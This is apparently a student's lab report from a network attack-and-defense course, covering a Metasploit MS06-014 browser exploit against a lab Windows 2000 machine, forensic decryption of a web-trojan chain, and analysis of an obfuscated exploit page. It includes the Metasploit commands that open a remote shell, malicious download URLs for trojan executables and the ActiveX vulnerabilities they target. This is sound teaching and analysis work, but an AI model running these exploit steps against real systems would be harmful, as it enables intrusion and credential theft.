20211919 2021-2022-2 《网络攻防实践》第十一次作业

一、实践内容

(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

1.1 web浏览器战争与技术发展
浏览器大战,指不同的网络浏览器之间的市场份额竞争。常用来指两组竞争:第一组是20世纪时微软公司的Internet Explorer取代了网景公司,Netscape Navigator主导地位,这场大战甚至引发了美国诉微软案官司。第二组为2003年后Internet Explorer份额遭其他浏览器蚕食,包括Mozilla Firefox,Google Chrome,Safari和Opera。
第一阶段的Web,主要是用于静态Web页面的浏览。用户使用客户机端的Web浏览器,可以访问Internet上各个Web站点,在每一个站点上都有一个主页(Home Page)作为进入一个Web站点的入口。Web技术发展的第二阶段是动态网页。
为了克服静态页面的不足,人们将传统单机环境下的编程技术引入互联网络与Web技术相结合,从而形成新的网络编程技术。Web技术发展的第三阶段是Web2.0时代。是促成这个阶段的各种技术和相关的产品服务的一个称呼。
1.2 Web浏览器的安全问题与威胁
安全问题:
浏览器安全可以分为三大块——Web 页面安全、浏览器网络安全和浏览器系统安全。在web页面中的安全策略中最基础、最核心的安全策略:同源策略(Same-origin policy)。

五大威胁:
1.注入漏洞。注入漏洞会让攻击者方便将恶意代码植入到目标应用系统(如,解析器)中。
2.身份验证失败。身份验证失败是由身份验证和会话管理控件的实施不当而引起的。
3.敏感数据泄漏。当Web应用不能充分保护诸如:会话ID、密码、财务信息、以及客户数据等敏感信息时,数据泄露就会发生。
4. XML外部实体。XML外部实体注入(通常被称为XML External Entity,XXE)可以让攻击者通过Web应用的漏洞,干扰应用对于XML数据的处理。
5.受损的访问控制。从概念上说,访问控制机制就是要确定用户是否可以执行,与之身份和权限相符的操作。而当用户可以在其预期权限之外执行某项操作时,那么就出现了访问控制的破坏。
1.3 浏览器的功能模块
HTML 解释器:将 HTML 文档经过词法分析输出 DOM 树。
CSS 解释器:解析 CSS 文档, 生成样式规则。
图层布局计算模块:布局计算每个对象的精确位置和大小。
视图绘制模块:进行具体节点的图像绘制,将像素渲染到屏幕上。
JavaScript 引擎:编译执行 Javascript 代码。
1.4 Web欺骗
Web欺骗的原理是攻击者通过伪造某个www站点的影像拷贝,使该影像Web的入口进入到攻击者的Web服务器,并经过攻击者机器的过滤作用,从而达到攻击者监控受攻击者的任何活动以获取有用信息的目的,这些信息当然包括用户的账户和口令。攻击者也能以受攻击者的名义将错误或者易于误解的数据发送到真正的Web服务器,以及以任何Web服务器的名义发送数据给受攻击者。简南言之,攻击者观察和控制着受攻击者在Web上做的每一件事。在整个过程中,攻击者只需要在自己的服务器上建立一个待攻击站点的拷贝,然后就是等待受害者自投罗网。因此,欺骗能够成功的关键是在受攻击者和其他Web服务器之间设立起攻击者的Web服务器,这种攻击种类在安全问题中称为"来自中间的攻击"。
在Web欺骗中捏攻击者用来制造假象、进行欺骗攻击中的道具称为掩盖体。这些道具可以是:虚假的页面,虚假的连接,虚假的图表,虚假的表单等。攻击者竭尽全力的试图制造令受害体完全信服的信息。并引导受害体做一些非安全性的操作。前面提到的网络钓鱼和漏洞攻击中,都可以利用Web欺骗。向时, Web欺骗也属于社会工程中的一种。
二、实践过程
2.1 web浏览器渗透攻击
在该实验过程中,使用kali(192.168.200.7)作为攻击机,win2k(192.168.200.3)作为靶机。
在kali上输入msfconsole,打开Metasploit软件。

输入search MS06-014,发现只有一个可用的攻击模块;输入use 0,使用该模块进行攻击。

输入set LHOST 192.168.200.3设置攻击机的地址;然后输入set payload windows/shell/bind_tcp设置载荷;最后输入exploit进行攻击。

在上图中可以看到得到了含有木马的网址:http://192.168.200.7:8080/pMCgLFBQtx。
去靶机win2k里浏览器访问上述网址:

再次回到kali中,发现成功建立了会话。

然后为了验证会话是否有效,用sessions查看连接。使用指令sessions -i 1打开会话。


此时,已经成功入侵靶机,输入ifconfig查看靶机地址。

2.2 取证分析实践—网页木马攻击场景分析
由于已给的start.html这个文件已经失效,所以通过上传的ppt,在里面找到了new09.htm。



从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径,所以new09.htm 文件与 start.html 文件在同一目录下。

可以看到 new09.htm 文件中,用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件,又用 javascript 引用了一个http://js.users.51.la/1299644.js 文件。
我们对它们分别作 MD5 散列,得:


然后按照说明,我们下载这两个文件(使用同学提供的压缩包在winxp中进行):
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3
http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
发现其中一个提示不是,另一个显示很复杂,初步判断是要找的。


根据由倒数第三行的:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')),可以知道这个文件使用了一种XXTEA+Base64的加密方法,我们只要找到它的加密密钥即可,这是一种16进制加密,用16进制转字符串转换器解码,可以知道秘钥密钥为:script。

输入秘钥密钥 script ,将文件中的全部内容放到文本框中,点击“解密”,保存得到的结果。

然后将上述引号里的内容,去16进制加解密中进行解密,得:

将上述内容也放入文档中

分析上述,可以发现存在四个漏洞:Adodb.Stream——微软数据库访问对象漏洞;MPS.StormPlayer——暴风影音漏洞;POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞;BaiduBar.Tool——百度搜霸漏洞。除此之外,该文件还引用了三个js文件(http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js;
http://aa.18dd.net/aa/pps.js)和一个压缩包bd.cab(http://down.18dd.net/bb/bd.cab)。
分别计算它们的MD5值:



即:

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
然后对上述四个文件一次进行上述操作,即生成相应链接,然后去查看,找到对应的加密方法然后利用16进制转字符串转换器解码,通过得出的密钥和文本内容进行解密,再对解密内容进行分析。

  • 1.js
    对http://aa.18dd.net/aa/1.js 对应的文件进行解密


    可以看到下载了014.exe。且有对 ADODB 漏洞的继续利用。
    对http://down.18dd.net/bb/014.exe,继续做md5散列得md5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979

  • b.js
    先打开b.js对应的文档:

    对其进行解密(开头的6个函数的参数提示这是一种加密方法:packed):

    找到数据中0000的位置,往前数15位,得十六进制数据:

    对数据进行转换得url文件:http://down.18dd.net/bb/bf.exe,继续做md5散列得:md5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e

  • pps.js
    类似上述b.js,具体操作不再赘述。


    得一url文件:http://down.18dd.net/bb/pps.exe, 继续做md5散列:md5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

  • 压缩文件bd
    打开为exe文件。
    将上述得到的四个文件.exe进行md5,发现其实是同一个文件,那随意分析一个即可。
    下面进行木马分析:
    使用IDA打开pps.exe

    在string window中发现了20个用于下载exe文件的链接。

    将上述20个文件用杀毒软件进行扫描,发现显示发现病毒。


    查询可知,是一种网游密码病毒。

2.3 Web浏览器渗透攻击对抗实验
首先重复2.1的攻击过程,此处不再文字赘述。

然后将产生的链接复制到浏览器中,并且查看网页源代码
可以看到关键指令做了字符串拼接处理和大量的空白间隔。


使用在线软件去掉大量空白后,代码如下:

< html > < head > < title > < /title>EPboqnoNqNOztTdS
从代码中可以看到调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件 XHfsyzhkBIAE.exe,打开任务管理器可以发现该文件,可以肯定这就是攻击代码和攻击的程序。
然后查找那串可以的数组 BD96C556 发现:


三、学习中遇到的问题及解决
1、在实践1中win2k不能正常ping通kali,最后发现是以前做完实验以后没有把网络适配器改回VM8模式。
2、当win2k访问地址以后,kali中强制退出。

最后更换载荷为:set payload windows/shell/bind_tcp可以成功建立会话。

四、实验总结
这次的实验太难了,很多时候是参考其他同学的或者视频等进行实验,很多地方并不是很清楚原理。在整个实验做完以后,对网页木马攻击原理有了一点了解,也感受到了要想真的学好这门课程,还需要很大的努力。

posted @ 2022-05-29 11:33  NingNa  阅读(245)  评论(0编辑  收藏  举报